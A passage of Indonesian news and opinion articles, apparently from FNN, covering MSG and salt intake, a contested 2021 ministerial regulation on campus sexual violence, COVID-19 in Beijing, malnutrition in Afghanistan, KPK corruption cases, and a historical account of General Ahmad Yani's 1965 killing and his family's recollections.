membuktikan bahwa penggunaan MSG bermanfaat untuk membantu penurunan asupan garam namun tetap menjaga palatabilitas makanannya," kata Profesor Ahmad. Sebelumnya Ketua Umum PDGKI (Perhimpunan Dokter Spesialis Gizi Klinik Indonesia), Prof. dr. Nurpudji A. Taslim mengatakan batasan aman konsumsi MSG adalah 10 mg per kg berat badan. Jadi, seseorang dengan berat badan 60 kilogram sebaiknya tak mengonsumsi penyedap rasa lebih dari 6 gram atau satu sendok teh per hari. Menurut Nurpudji, Anda bisa mempertimbangkan makanan yang akan disantap. Jika dalam makanan itu kandungan glutamatnya banyak, maka MSG sebaiknya tak perlu digunakan. Sejumlah makanan diketahui mengandung glutamat alami antara lain: keju, susu, jamur, daging sapi dan ikan. Pola makan rendah garam atau rendah sodium dapat menurunkan potensi terkena penyakit tekanan darah tinggi, penyakit ginjal kronis dan memperbaiki kualitas diet secara keseluruhan. Pola makan ini juga dapat menurunkan risiko kanker perut. Namun, terlalu sedikit natrium dapat memiliki efek kesehatan yang negatif, dan jenis diet ini tidak diperlukan bagi kebanyakan orang. Jika Anda mengikuti diet rendah sodium, pilihlah makanan segar dan hindari makanan asin. Memasak lebih banyak makanan di rumah adalah cara lain yang bagus untuk mengontrol asupan garam. (mth)

Permen Pengacau Hukum

Oleh M Rizal Fadillah Kontroversi Permendikbudristek No 30 tahun 2021 tentang Pencegahan dan Penanganan Kekerasan Seksual di Lingkungan Perguruan Tinggi terus berlanjut. Produk hukum yang prosesnya tidak transparan dan atau tanpa melibatkan elemen publik dipastikan akan kontroversial. Apalagi jika itu menafikan nilai-nilai keagamaan. Bukan berarti bahwa agama setuju adanya kekerasan seksual atau menolak aturan yang mencegah terjadinya kekerasan seksual di perguruan Tinggi, bukan, akan tetapi cara merumuskan dan narasi rumusan dalam Permendikbudristek No. 30 tahun 2021 itu yang dimasalahkan. Dianggap bertentangan dengan prinsip keagamaan yang dianut oleh bangsa Indonesia, khususnya agama Islam. Dari sisi hukum juga ternyata Permen ini menunjukkan kekacauan berat, antara lain : Pertama, bertentangan dengan UUD 1945 Pasal 31 ayat (3). Lalu dengan UU No 20 tahun 2003 tentang Sistem Pendidikan Nasional khususnya Pasal 1 dan Pasal 4. Kemudian UU No 12 tahun 2012 tentang Perguruan Tinggi Pasal 5 butir a dan Pasal 6 butir b. Sekedar contoh, Pasal 1 UU No 20 tahun 2003 berbunyi "Pendidikan Nasional adalah pendidikan yang berasaskan Pancasila dan UUD 1945 yang berakar pada nilai-nilai agama, kebudayaan nasional Indonesia dan tanggap terhadap tuntutan perubahan zaman". Kedua, tidak memiliki dasar hukum yang benar dan kuat. Tidak ada Undang-Undang yang menjadi payung bagi sebuah Permen bermuatan Pencegahan dan Penanganan Kekerasan Seksual. RUU Penghapusan Kekerasan Seksual yang dinilai pro-zina dan berbau liberal gagal menjadi UU akibat reaksi di DPR maupun umat. Tanpa UU ini, maka Permendikbudristek No 30 tahun 2021 kehilangan landasan hukum, artinya cacat hukum. Ketiga, mengacak-acak asas hukum yang baik. Secara filosofis gagal memenuhi prinsip keadilan berdasar Ketuhanan Yang Maha Esa. Kontrak seksual telah mengabaikan nilai Ketuhanan. Secara yuridis, berbenturan dan tumpang tindih dengan aturan hukum di atasnya atau yang telah ada. Permen adalah rekayasa dan penyelundupan hukum. Secara sosiologis mendapat penentangan banyak pihak. MUI dan Ormas Islam menolak aturan sekuler ini. Keempat, narasi atau rumusan Kekerasan Seksual menurut Permen 30 tahun 2021 dengan elemen perbuatan merendahkan, menghina, melecehkan dan/atau menyerang tubuh dan atau fungsi reproduksi, lalu berakibat pada penderitaan psikis dan/atau fisik adalah perbuatan pidana yang telah diatur dalam KUHP Pasal 281, 285, 289, 311dan 315. Diatur pula dalam Pasal 27 ayat (3) Jo Pasal 45 UU No 11 tahun 2008 tentang ITE, serta UU No 44 tahun 2008 tentang Pornografi. Sesuatu yang telah diatur lalu diatur kembali dengan bobot yang manipulatif, adalah perbuatan jahat. Mengingat hal-hal di atas, maka Permendikbudristek No 30 tahun 2021 tentang Pencegahan dan Penanganan Kekerasan Seksual di Lingkungan Perguruan Tinggi itu merupakan peraturan yang mengada-ada, bertentangan dengan agama, mengabaikan UUD 1945 dan Pancasila, liberal, sekuler, serta merupakan penyelundupan hukum. Oleh karenanya patut untuk ditolak oleh rakyat. Menteri Nadiem seharusnya mundur, aturan yang dibuatnya layak digugat secara material ke Mahkamah Agung serta diusut dalang atas penyelundupan hukum yang dilakukan ini. Presiden Jokowi tidak bisa berlepas tangan atas kekacauan di bidang pendidikan yang nyata-nyata telah membahayakan dunia akademik. Permen yang dibuat Menteri dalam Kabinet Jokowi telah menjadi pengacau hukum. *) Pemerhati Politik dan Kebangsaan

Beijing Temukan Kasus COVID-19 di Perusahaan Minyak Ternama

Beijing, FNN - Otoritas Kota Beijing menemukan kasus baru COVID-19 dari konferensi yang digelar oleh perusahaan minyak papan atas yang berkantor pusat di Ibu Kota China itu. Ada enam kasus lokal dan satu kasus tanpa gejala yang ditemukan pada Kamis (11/11), beberapa di antaranya adalah pekerja PetroChina Co yang kantor pusatnya di Beijing, demikian Deputi Direktur Pusat Pengendalian dan Pencegahan Penyakit Menular (CCDC) Kota Beijing, Pang Xinghuo, Jumat. Para karyawan itu mengikuti pertemuan yang digelar pada 28 Oktober hingga Rabu (10/11). Seorang peserta kemudian terkonfirmasi positif COVID-19 di Provinsi Jilin. "Kami langsung mengambil tindakan begitu ada kasus yang melibatkan seseorang yang melakukan perjalanan dari Jilin ke Beijing untuk menghadiri konferensi tersebut," kata juru bicara Pemerintah Kota Beijing Xu Hejian. Otoritas Beijing juga telah melakukan tes PCR secara massal di kalangan kontak dekat pasien. Salah satu dari karyawati PetroChina tinggal di Distrik Haidian, Beijing, dinyatakan positif bersama anggota keluarganya yang terdiri dari suami, anak perempuan, ibu mertua, dan bapak mertua. Satu kawasan permukiman di Distrik Haidian langsung dikategorikan kawasan berisiko sedang COVID-19. Beberapa pekan sebelumnya Beijing mendapati kasus positif COVID-19 dari rombongan wisata yang berlibur di Daerah Otonomi Mongolia Dalam. (sws, ant)

WHO: Jutaan Anak di Afghanistan Berisiko Kekurangan Gizi Akut

Jenewa, FNN - Organisasi Kesehatan Dunia (WHO) memperkirakan sekitar 3,2 juta anak di Afghanistan menderita kekurangan gizi akut hingga akhir tahun ini, dengan 1 juta di antaranya berisiko meninggal dunia karena penurunan suhu. Badan-badan bantuan telah memperingatkan adanya kelaparan karena kekeringan seiring kegagalan ekonomi menyusul penarikan dukungan keuangan dari Barat, setelah Taliban mengambil alih kekuasaan di Afghanistan pada Agustus lalu. Sektor kesehatan di negara itu sangat terpukul, dengan banyak petugas kesehatan melarikan diri karena gaji yang belum dibayar. "Ini perjuangan berat karena kelaparan melanda negara ini. Dunia tidak boleh mengabaikan Afghanistan," kata juru bicara WHO Margaret Harris kepada wartawan yang berbasis di Jenewa pada Jumat, melalui sambungan telepon dari Ibu Kota Kabul. Di Afghanistan, suhu malam hari turun di bawah nol derajat Celcius dan suhu yang lebih dingin diperkirakan membuat orang tua dan muda lebih rentan terhadap penyakit lain, kata Harris. Di beberapa tempat, orang-orang menebang pohon untuk menyediakan bahan bakar bagi rumah sakit di tengah kelangkaan yang meluas. Harris tidak memiliki angka untuk jumlah anak yang telah meninggal karena kekurangan gizi tetapi menjelaskan tentang "bangsal yang penuh dengan anak-anak kecil", termasuk dengan bayi berusia tujuh bulan yang ia sebut "lebih kecil dari bayi yang baru lahir". Kasus campak meningkat di Afghanistan dan data WHO menunjukkan 24.000 kasus klinis sejauh ini telah dilaporkan. "Untuk anak-anak yang kekurangan gizi, campak adalah hukuman mati. Kita akan melihat lebih banyak kematian jika kita tidak bergerak cepat," kata Harris. (sws, Reuters)

Pakar Hukum Sarankan KPK Hentikan Penyelidikan Kasus Formula E

Jakarta, FNN - Pakar hukum tata negara Margarito Kamis menyarankan Komisi Pemberantasan Korupsi (KPK) dapat menghentikan penyelidikan kasus dugaan korupsi penyelenggaraan ajang balap mobil listrik atau Formula E di DKI Jakarta. "Hal yang standar adalah dugaan pidanannya sudah harus ada, bukan baru dicari-cari. Jadi, setiap tindakan penyelidikan itu diawali dengan asumsi pidananya sudah ada," kata Margarito dihubungi di Jakarta, Jumat. Menurut Margarito, hal yang keliru sejak awal sudah menyalahi prosedur paling dasar dalam penentuan dugaan pidana. "Kalau menyelidiki sesuatu peristiwa hukum, di kepala Anda peristiwa itu harus sudah memiliki aspek pidana, tinggal memperoleh bukti-bukti untuk menguatkan bahwa itu peristiwa pidana. Bukan mencari-cari bukti untuk menemukan bahwa itu peristiwa pidana, jadi ini cara berpikir KPK amat terbalik, ini sangat salah," kata Margarito menjelaskan. Terkait dengan pemberian commitment fee dan penundaan 2 tahun penyelenggaraan Formula E, menurut dia, bukan karena hal yang dalam kendali manusia karena 2 tahun terakhir terjadi pandemi COVID-19 yang melanda seluruh dunia. "Karena hal yang menggagalkan peristiwa itu (Formula E) bukan hal yang disebabkan oleh manusia, melainkan sebab alamiah yang enggak bisa diprediksi secara objektif. Akibat hukumnya adalah siapa pun itu tak bisa dibebani tanggung jawab hukum," ungkap Margarito. Terkait dengan dana pinjaman bank yang digunakan, lanjut Margarito, apa pun pinjaman tersebut akan membebani APBD. Apabila memang terjadi penyalahgunaan, sistem keuangan daerah memiliki hak untuk menuntut ganti rugi kepada penyelenggara. "Itu juga harus didasari oleh temuan Badan Pemeriksa Keuangan," ujar Margarito. Dengan kondisi demikian, Margarito menyarankan KPK untuk menghentikan pengusutan Formula E karena akan memengaruhi asumsi publik ke KPK. Publik akan menilai KPK sebagai alat politik golongan tertentu. Sebelumnya, Pelaksana Tugas (Plt.) Juru Bicara Komisi Pemberantasan Korupsi (KPK) Ali Fikri menyatakan bahwa kasus dugaan korupsi penyelenggaraan ajang balap mobil listrik atau Formula E di DKI Jakarta akan dihentikan bila tidak ditemukanya unsur pidana. "Penyelidikan ini yang dicari adalah peristiwa pidananya dahulu apakah ada atau tidak. Kalau kemudian tidak ada (peristiwa pidananya), ya, tidak dilanjutkan," kata Ali di Jakarta, Kamis. Pada prinsipnya, kata dia, penyelidikan itu ialah mencari peristiwa pidana. Proses itu nantinya akan ditemukan saat pengumpulan data, informasi, dan bahan keterangan. (sws, ant)

KPK Setor Rp600 Juta dari Perkara O.C. Kaligis dan Edy Nasution

Jakarta, FNN - KPK menyetor total Rp600 juta dari denda yang dibayarkan oleh dua terpidana kasus korupsi, yaitu pengacara senior Otto Cornelis Kaligis dan mantan panitera Pengadilan Negeri (PN) Jakarta Pusat Edy Nasution. "Tim jaksa eksekusi telah melakukan penyetoran uang ke kas negara sejumlah Rp600 juta dari dua orang terpidana yang putusannya telah berkekuatan hukum tetap," kata Plt. Juru Bicara KPK Ipi Maryati Kuding di Jakarta, Jumat. Keduanya adalah O.C. Kaligis sejumlah Rp300 juta berdasarkan putusan Peninjauan Kembali Nomor: 176 PK/PID.SUS/2017 pada tanggal 19 Desember 2017. Selanjutnya, mantan panitera PN Jakarta Pusat Edy Nasution sejumlah Rp300 juta berdasarkan putusan MA RI Nomor: 1353 K/Pid.Sus/2017 pada tanggal 16 Agustus 2017. "Penagihan uang denda dari para terpidana akan tetap digencarkan oleh tim jaksa eksekusi sebagai bentuk asset recovery dari hasil tindak pidana korupsi yang telah dinikmati oleh para terpidana tersebut," kata Ipi. Mahkamah Agung (MA) memotong hukuman terhadap O.C. Kaligis pada tanggal 19 Desember 2019 dari 10 tahun penjara menjadi 7 tahun penjara. Padahal, sebelumnya majelis kasasi yang dipimpin oleh Artidjo Alkostar menjatuhkan vonis 10 tahun penjara terhadap Kaligis pada tanggal 10 Agustus 2016. Vonis kasasi itu lebih berat dibanding vonis di tingkat banding selama 7 tahun penjara, sementara pada pengadilan tingkat pertama O.C. Kaligis divonis 5,5 tahun penjara. Sedangkan Edy Nasution divonis 8 tahun penjara ditambah denda Rp300 juta subsider 6 bulan kurungan berdasarkan putusan kasasi 16 Agustus 2017. Edy Nasution setelah MA menolak Peninjauan Kembali (PK) tapi ditolak pada 2019 lalu. Putusan kasasi tersebut lebih berat dari tingkat pertama dan tingkat banding yakni 5 tahun 6 bulan penjara dan denda Rp150 juta subsider pidana kurungan selama 2 bulan. (sws. ant)

Polda Aceh Tahan Kepala Desa Diduga Korupsi Rp438 juta

Banda Aceh, FNN - Penyidik Direktorat Reserse Kriminal Khusus Polda Aceh menahan Kepala Desa Pulo Bunta, Kabupaten Aceh Besar, karena diduga melakukan tindak pidana korupsi dana desa. Direktur Reserse Kriminal Khusus Polda Aceh Kombes Pol Sony Sanjaya di Banda Aceh, Jumat, mengatakan terduga pelaku tindak pidana korupsi yang ditahan berinisial AM. Penahanan terhadap AM terkait perkara dugaan tindak pidana korupsi dan penyalahgunaan wewenang pada pengelolaan keuangan di Desa Pulo Bunta tahun anggaran 2015 hingga 2019, kata Kombes Pol Sony Sanjaya. "Yang bersangkutan ditahan terkait kasus dugaan tindak pidana korupsi dana. Yang bersangkutan ditahan untuk 20 hari ke depan sejak 11 November kemarin," ujar Kombes Pol Sony Sanjaya. Mantan Direktur Reserse Kriminal Umum Polda Aceh itu mengatakan berdasarkan hasil audit kerugian negara yang ditimbulkan diperkirakan mencapai Rp438 juta lebih. "Kerugian negara dalam kasus tindak pidana korupsi tersebut diperkirakan sebesar Rp438 juta lebih. Penyidik terus bekerja menuntaskan kasus dugaan tindak pidana korupsi ini," kata Kombes Pol Sony Sanjaya. Desa Pulo Bunta berada di Pulau Bunta, seberang Pulau Sumatra dengan jarak kurang satu jam perjalanan laut menggunakan perahu motor dari Pelabuhan Ulee Lheue, Kota Banda Aceh. Secara administratif, Desa Pulo Bunta masuk wilayah Kecamatan Peukan Bada, Kabupaten Aceh Besar. Penduduk Pulau Bunta tidak terlalu banyak, kurang dari seratusan jiwa. Keberadaan penduduk pulau di dekat gugusan kepulauan Pulau Aceh itu lebih banyak di daratan Pulau Sumatra. Mayoritas penduduknya berkebun kelapa. (sws, ant)

Kisah Mahabarata, Jenderal Brengsek, dan Mozaik Pembunuhan Pahlawan Revolusi (Bagian 3)

Oleh Selamat Ginting (Pengamat Komunikasi Politik dan Pertahanan) Jakarta, FNN - Musyawarah Nasional Teknik pada 30 September 1965, berlangsung hingga larut malam. Malam sekitar pukul 23.00, Presiden Sukarno memberikan sambutan dengan membuat perumpamaan dari perwayangan, kisah Mahabarata. Menggambarkan suatu pelajaran untuk tidak ragu-ragu membunuh saudara sekalipun bila itu demi kepentingan perjuangan. “Arjuna lemas, lemas, lemas. Bagaimana aku harus membunuh saudara kandungku sendiri? Bagaimana aku harus membunuh kawan lamaku sendiri? Bagaimana aku harus membunuh guruku sendiri? ” “Kerjakan engkau punya kewajiban tanpa hitung-hitung untung atau rugi. Kewajibanmu kerjakan!” Setelah peristiwa 30 September 1965, analogi dari pewayangan yang disampaikan Bung Karno itu diasosiasikan dengan penculikan dan pembunuhan para jenderal dalam peristiwa tersebut. Apalagi dalam kalimat terakhirnya, Sukarno mengucapkan kalimat, ”Saudara-saudara sekarang boleh pulang tidur dan istirahat. Sedangkan Bapak masih harus bekerja menyelesaikan soal-soal yang berat, mungkin sampai jauh malam…..” Kemudian para analis menghubungkan secarik kertas yang disampaikan Letnan Kolonel (Infanteri) Untung, Komandan Batalyon 1 Resimen Tjakrabirawa kepada Bung Karno. Ya, sebelum Sang Presiden mengawali pidatonya soal pewayangan tersebut. Jendral Brengsek Dua pekan sebelumnya, pada 13 September 1965, Presiden Sukarno menyerang Jenderal AH Nasution di istana dengan kalimat yang menusuk hati. Memang dalam pidato itu Sukarno tidak langsung menyebut nama. Tapi dengan kalimat yang sangat keras, yakni “sebarisan jenderal brengsek”. “Adanya anak-anak revolusi yang tidak setia pada induknya, yakni barisan jenderal brengsek.” Orang-orang Sukarno tahu yang dimaksud adalah Jenderal AH Nasution, Jenderal A Yani dkk. Ini bukan yang pertama kali dilontarkan oleh Bung Karno. Terutama sejak ia menerima informasi-informasi tentang isu adanya Dewan Jenderal yang bermaksud menggulingkan dirinya. Pada waktu yang sama, para pemimpin Partai Komunis Indonesia (PKI) melontarkan ucapan yang sama. Sehingga tercipta opini bahwa Sukarno memang sejalan dengan PKI. Sesuatu yang kemudian hari harus ditebus mahal oleh Presiden Sukarno. Kedekatannya dan menjadikan PKI sebagai anak emasnya membuat ia harus kehilangan pamor dari umat Islam dan Angkatan Darat. Termasuk mundurnya Wakil Presiden Moh Hatta. Sehingga akhirnya secara perlahan, ia kehilangan tampuk kepemimpinan nasional sebagai bagian dari episode G30S/PKI. Apalagi sepanjang September 1965, PKI sangat gencar menyerang secara gresif lawan-lawan politiknya, terutama Angkatan Darat. Khususnya kepada Jenderal AH Nasution, Jenderal A Yani yang digambarkan sebagai jenderal-jenderal ‘brengsek’ seperti ungkapan Bung Karno, karena tidak loyal kepada Presiden. Harian Rakyat yang berafiliasi kepada PKI, misalnya. Pada 4 September 1965 menulis ada perwira-perwira yang menuduh PKI akan melakukan kudeta. Namun, lima hari kemudian, pada 9 September 1965, Ketua CC PKI DN Aidit malah menggambarkan akan terjadi sesuatu yang pasti akan lahir. Sebuah isyarat dahsyat. Ucapan Aidit dipertegas lagi oleh tokoh PKI Anwar Sanusi di depan sidang SOBSI (Sentral Organisasi Buruh Seluruh Indonesia). “Yang paling penting sekarang ini, bagaimana kita memotong penyakit kanker dalam masyarakat kita, yaitu setan kota.” Ungkapan itu juga diasosiasikan kepada Jenderal Nasution, Jenderal Yani dkk. Simak video "Catatan-catatan Penting Soal Sikap Jenderal Yani terhadap Isu Dewan Jenderal" Setan Kota dan Kematian Kemudian Aidit secara agresif menyampaikan pidato di depan Kongres III CGMI pada 29 September 1965. “Mahasiswa komunis harus berani berpikir dan berani berbuat. Berbuat, berbuat, berbuat.” Pidato itu merupakan serangan khusus kepada Himpunan Mahasiswa Islam (HMI) yang beberapa hari sebelumnya dibela Jenderal A Yani. Aidit kesal usulan PKI untuk membubarkan HMI malah dibela oleh Jenderal Yani. “Kalau CGMI tidak bisa membubarkan HMI, maka pakai sarung saja.” Kemudian pada tajuk rencana koran Harian Rakyat pada 30 September 1965 berbunyi, “Dengan menggaruk kekayaan negara, setan-setan kota ini mempunyai maksud-maksud politik yang jahat terhadap pemerintah dan revolusi. Mereka harus dijatuhi hukuman mati di muka umum. Soalnya tinggal pelaksanaan. Tuntutan adil rakyat pasti berhasil. Editorial tersebut seakan membayangkan tentang rencana PKI terkait hukuman mati terhadap para jenderal. Pernyataan-pernyataan keras tokoh-tokoh PKI serta editorial Harian Rakyat, kelak menjadi mozaik bagaimana PKI memang berada di balik pembunuhan para pahlawan revolusi, Jenderal A Yani dkk. Jenderal Nasution yang dituding langsung oleh Bung Karno dan tokoh-tokoh PKI sebagai ‘jenderal brengsek’, selama September 1965, menahan diri untuk tidak menanggapi hinaan tersebut. Nasution juga tidak curiga ketika mendapatkan informasi Kolonel Abdul Latief memerisa pasukan penjaga rumahnya pada sore hari 30 September 1965. Alasannya, karena Latief adalah Komandan brigade Infanteri Kodam Jaya. Sukarno Marahi Jenderal Nasution menceritakan, suatu ketika Letjen A Yani mengantarkan Mayjen S Parman dan Brigjen Soetoyo menghadap Presiden Sukarno. Mereka dimarahi habis-habisan oleh Bung Karno. Sukarno mengecam pernyataan Angkatan Darat soal adanya musuh dari utara bagi Asia Tenggara, seperti dibacakan Letjen A Yani di Bandung. Keputusan Yani dan para jenderal-jenderal Angkatan Darat dianggap tidak loyal terhadap Presiden Sukarno. Sang presiden di Istana Tampak Siring, Bali sudah berencana segera mengganti para jenderal tersebut. Bahkan menyebut pengganti Yani adalah Mayjen Moersjid. Ia meminta jawaban Moersjid apakah bersedia menggantikan Yani? Moersjid menjawab, bersedia. Pada 29 September 1965, muncul Brigjen Mustafa Syarif Suparjo menghadap Presiden Sukarno. Suparjo melaporkan kesiapan pasukannya untuk bertindak terhadap jenderal-jenderal yang tidak loyal. Jumat Kelam Jumat dinihari 1 Oktober 1965, sekira pukul 04.00 WIB. Keluarga Letnan Jenderal Achmad Yani masih tertidur. Putra bungsu Panglima Angkatan Darat, Irawan Sura Edi Yani (Edi) terbangun. Ia mencari ibunya yang tidak ada di rumah Jalan Lembang D-58. Sang Ibu, Nyonya Yayuk Ruliah belum pulang, masih berada di rumah Jalan Taman Surapati. Edi ditemani asisten rumah tangga, biasa dipanggil Mbok Millah, duduk dekat pintu belakang, menunggu ibunya datang. Pada menit-menit itulah sekelompok tentara dipimpin Pembantu Letnan Satu (Peltu) Mukijan dari Brigif 1 Kodam Jaya dan Sersan Raswad segera masuk ke dalam rumah melalui pintu belakang. Pintu tidak dikunci, karena Nyonya Yayuk Achmad Yani, biasanya akan pulang sekitar subuh hari. Anggota pasukan Tjakrabirawa masuk ke dalam rumah dan langsung menanyakan kepada pembantu rumah tangga keluarga Jenderal Yani. Pasukan yang mengepung rumah Jenderal Yani terdiri dari satu peleton dari Brigif 1 Kodam Jaya, saru regu dari Resimen Tjakrabirawa, satu peleton dari Yonif 454 Kodam Diponegoro, satu peleton dari Yonif 530 Kodam Brawijaya, satu regu daru AURI, dan regu sukarelawan Pemuda Rakyat PKI. Anak bungsu Jenderal Yani diminta membangunkan bapaknya dengan alasan dipanggil Presiden di istana. Edi pun membangunkan ayahnya. “Ada apa?” tanya Achmad Yani kepada pasukan Tjakrabirawa, pengawal Presiden Sukarno yang masuk ke dalam rumahnya. “Siap, Jenderal. Bapak diminta menghadap Presiden Sukarno sekarang juga!” “Loh acaranya kan jam 7, bukan pagi-pagi begini.” Yani memang sudah dijadwalkan menghadap Presiden sekalian mengajak Panglima Kodam Brawijaya Mayjen Basuki Rachmat untuk melaporkan Tindakan PKI yang merusak kantor Gubernur Jawa Timur. Yani juga sudah punya firasat akan dicopot dari jabatan panglima Angkatan Darat, hari itu juga. “Tetapi jenderal harus berangkat detik ini juga, karena jenderal sedang ditunggu Bapak Presiden,” jawab salah seorang anggota Tjakrabirawa. Yani menjawab,” Paling tidak saya harus mandi dulu!” “Tidak perlu, Jenderal. Di istana juga ada kamar mandi. Bila perlu dengan pakaian piyama saja. Jenderal bisa berangkat bersama-sama kami.” “Kau prajurit, tahu apa?!” tegas Yani sambal meninju wajah sang prajurit, sehingga jatuh terkapar. Yani pun berbalik masuk ke ruang makan dan menutup pintu. Saat itulah Sersan Raswad memerintahkan Sersan Gijadi. “Tembak dia!” Gijadi pun langsung memberondongkan senjata Thomson. Tujuh peluru menembus pintu, menerpa punggung Panglima Angkatan Darat. Jenderal Yani roboh bersimbah darah di ruang makan. Suara tembakan itu membangunkan anak-anak sang jenderal. Indriyah Ruluati Yani (Ruli), Herliah Emmy Yani (Emmy), Amelia Yani, Elina Elastria Yani (Elina atau Juwita), Widna Ani Yani (Nanik), Reni Ina Yuniati Yani (Yuni), serta Untung Mufreni Yani (Untung), berhamburan ke ruang makan. Sedangkan si bungsu Edi bersembunyi di bawah mesin jahit. Delapan anak Jenderal Yani menjadi saksi, ayahnya ditarik kakinya dengan posisi kepala di bawah membentur lantai dan jalan aspal. Yani yang masih mengenakan piyama biru diseret dan dilempar ke dalam mobil truk yang sudah disiapkan pasukan pemberontak. “Ayo masuk semua, kalau tidak saya tembak,” kata Amelia Yani, putri ketiga jenderal A Yani, menceritaka peristiwa kelam yang menimpa ayahandanya pada 1 Oktober 1965, subuh hari. Ia menceritakan sejarah kelam itu kepada wartawan senior dan akademisi, Selamat Ginting, akhir Oktober 2021 lalu. Sambil terbata-bata dan berkaca-kaca, Amelia mengisahkan kepedihan serta catatan dalam buku harian Jenderal A Yani. “Bapak memang tegas menolak komunis. Jadi tidak setuju dengan Nasakom. Bapak masih bisa terima jika kata kom (komunis) diganti dengan sosialisme Indonesia, seperti sila kelima Pancasila,” ujar Amelia, sambil memperlihatkan catatan goseran pena Achmad Yani, jenderal bertubuh atletis dengan tinggi sekitar 174 cm dan berat sekitar 74-75 kg. Ikuti bincang-bincang dengan Amelia Yani di channel youtube: SGinting Official (Bagian ketiga). Tulisan di website dirangkum penulis dari berbagai sumber.

Membasuh Darah Jenderal Yani (Bagian 4)

Oleh Selamat Ginting (Pengamat Komunikasi Politik dan Pertahanan) Jakarta, FNN – “Cukup Bapakmu saja yang menjadi tumbal negara. Jadi anak-anak jangan ada lagi yang jadi tentara,” begitulah pesan yang diungkapkan Yayuk Ruliyah Sutodiwiryo kepada dua anak lelakinya, Untung Mufreni Yani (Untung), dan Irawan Sura Edi Yani (Edi). Yayuk merupakan ibu delapan anak dari perkawinannya dengan pahlawan revolusi Jenderal TNI (Anumerta) Achmad Yani. Yani adalah Menteri/Panglima Angkatan Darat pada 1962-1965. Saat ini jabatan tersebut disebut Kepala Staf Angkatan Darat (KSAD). Untung (67 tahun) merupakan anak ketujuh dan Edi (63 tahun) anak bungsu pasangan tersebut. Dalam peristiwa 1 Oktober 1965, Edi yang diminta pasukan Tjakrabirawa, pengawal Presiden Sukarno untuk membangunkan ayahnya sekitar pukul 04.00-an WIB. Ia tidak tahu kalau pasukan itu justru akan menculik dan membunuh ayahnya. Anak-anak Yani tidak sampai hati melihat ibunya membasuh wajahnya dengan darah Jenderal Yani. Darahnya menggumpal di lantai dekat ruangan makan keluarga akibat tembakan membabi buta dari pasukan Tjakrabirawa. Pesan dari ibunda dikemukakan oleh Untung kepada penulis dalam pertemuan keluarga besar Jenderal A Yani di Museum Sasmita Loka Jenderal A Yani, Jalan Lembang D-58, Menteng, Jakarta Pusat, Selasa (9/11/2021). “Kami sebenarnya ingin menjadi tentara seperti Bapak (Jenderal A Yani), tapi kami tidak ingin membantah pesan dari Ibu,” ujar Edi. “Takut kualat membantah petuah Ibu,” kata Untung, melengkapi. Batal Jadi Tentara Bukan hanya Untung dan Edi saja yang hadir, melainkan empat kakaknya. Anak pertama; Indriyah Ruliati Yani (Ruli), anak ketiga; Amelia Yani (Amel), anak kelima; Widna Ani Yani (Nanik), dan anak keenam; Reni Ina Yuniati (Yuni). Sementara anak kedua; Herliah Emmy Yani (Emmi) wafat tahun 2007, dan anak keempat; Elina Elastria (Elina/Juwita) berhalangan hadir. Bahkan lanjut Untung, Jenderal Sarwo Edhie Wibowo yang merupakan sahabat ayahnya, beberapa kali menawarkan dirinya dan Edi untuk mendaftar ke Akademi Militer (Akmil). “Om Sarwo akan memberikan rekomendasi, tapi kami tetap ingat petuah Ibu,” ungkap Untung. Nanik (70 tahun) menceritakan almarhum ayahnya kerap menceritakan tentang para taruna Akmil di Magelang maupun Bandung yang gagah, pintar, dan calon patriot bangsa. Misalnya saat keluarga mengunjungi Jawa Tengah, yang tidak pernah dilupakan adalah cerita tentang taruna di Magelang. “Sepertinya bapak ingin anak perempuannya menikah dengan tentara lulusan Akmil,” ujar Nanik sambil tersenyum, penuh arti. Namun, lanjut Nanik, setelah peristiwa Gerakan 30 September 1965/Partai Komunis Indonesia (PKI) yang merenggut nyawa ayahnya (Jenderal A Yani), ibunya meminta agar anak-anaknya menjauh dari kehidupan tentara. “Kalau perlu tidak ada yang menikah dengan taruna, walau lulusan Akmil sekalipun,” ungkap Nanik. Namun, takdir berkata lain. Dua anak perempuan pasangan Jenderal Yani dan Yayuk Riliyah, ternyata mendapatkan jodoh tentara lulusan Akmil. Anak pertama; Ruli suaminya adalah Brigadir Jenderal TNI (Purn) Soedarsono, lulusan Akmil 1965 dari Korps Infanteri. Satu kelas dengan mantan Kepala Badan Intelijen Negara (BIN) Syamsir Siregar. “Kalau saya sudah kepalang tanggung. Karena waktu bapak masih hidup, calon suami saya masih taruna dan sudah pernah ke rumah. Juga sudah berkenalan dengan bapak dan ibu saya. Bahkan pada 30 September 1965, Mas Soedarsono sempat menemui Bapak,” ujar Ruli (76 tahun), mengenang masa lalunya. Brigjen Soedarsono terakhir berdinas militer di Badan Koordinasi Intelijen Negara (BAKIN) yang kini menjadi BIN. Ia juga sempat menjadi anggota DPR RI setelaj pensiun dari militer. Lain lagi cerita Nanik. Suaminya adalah Mayor Jenderal TNI (Purn) Judi Magio Jusuf. Lulusan Akmil 1973 dari Korps Infanteri. Teman satu kelas dengan Jenderal (Purn) Susilo Bambang Yudhoyono. Mayjen Judi M Jusuf terakhir dalam dinas militer sebagai Asisten Pengamanan KSAD. Jadi dua menantu Jenderal Yani memiliki keahlian di bidang intelijen. “Saya terus terang ingat pesan Ibu, jangan menikah dengan tentara. Tapi Mas Judi yang desak terus. Akhirnya saya menyerah sambil minta maaf kepada Ibu,” ungkap Naik yang disambut gelak tawa saudara-saudaranya. Sahabat Sarwo Yuni (68 tahun) juga menceritakan bagaimana keluarganya tersobsesi kehidupan Angkatan Darat dengan segala suka dan dukanya. Setelah ayahnya gugur, banyak anggota masyarakat silih berganti mengunjungi rumah duka selama satu tahun. “Om Sarwo (Sarwo Edhie Wibowo) juga kerap datang mengunjungi kami. Datang dikawal panser. Menanyakan keadaan kami. Ibu selama sekitar satu tahun terus berduka dan lebih banyak berada di dalam kamar,” kenang Yuni. Sarwo Edhie merupakan teman satu kelas dengan Yani waktu pendidikan Shodanco (komandan kompi) bagi tentara PETA (Pembela Tanah Air) di Bogor, Oktober 1943. Yani sebelumnya sempat menjadi Sersan pada Dinas Topografi KNIL (Koninklijk Nederlandsch Indische Leger), Belanda dan berdinas di Bandung. Sempat bertempur dengan Jepang di Ciater, sebagai pengalaman pertamanya dalam perang. Ia sempat meringkuk beberapa bulan di kamp tawanan perang Jepang, setelah tentara Negeri Matahari Terbit itu menundukkan tentara Belanda di Indonesia, pada 1942. Para tentara Belanda dan pribumi yang menjadi tentara KNIL pun menjadi tawanan perang. Sampai akhirnya dibebaskan dan pemuda Yani menjadi pengangguran. Yani dan Sarwo sempat berada dalam batalyon yang sama. Mayor Yani sebagai Komandan Batalyon 3 Resimen Magelang. 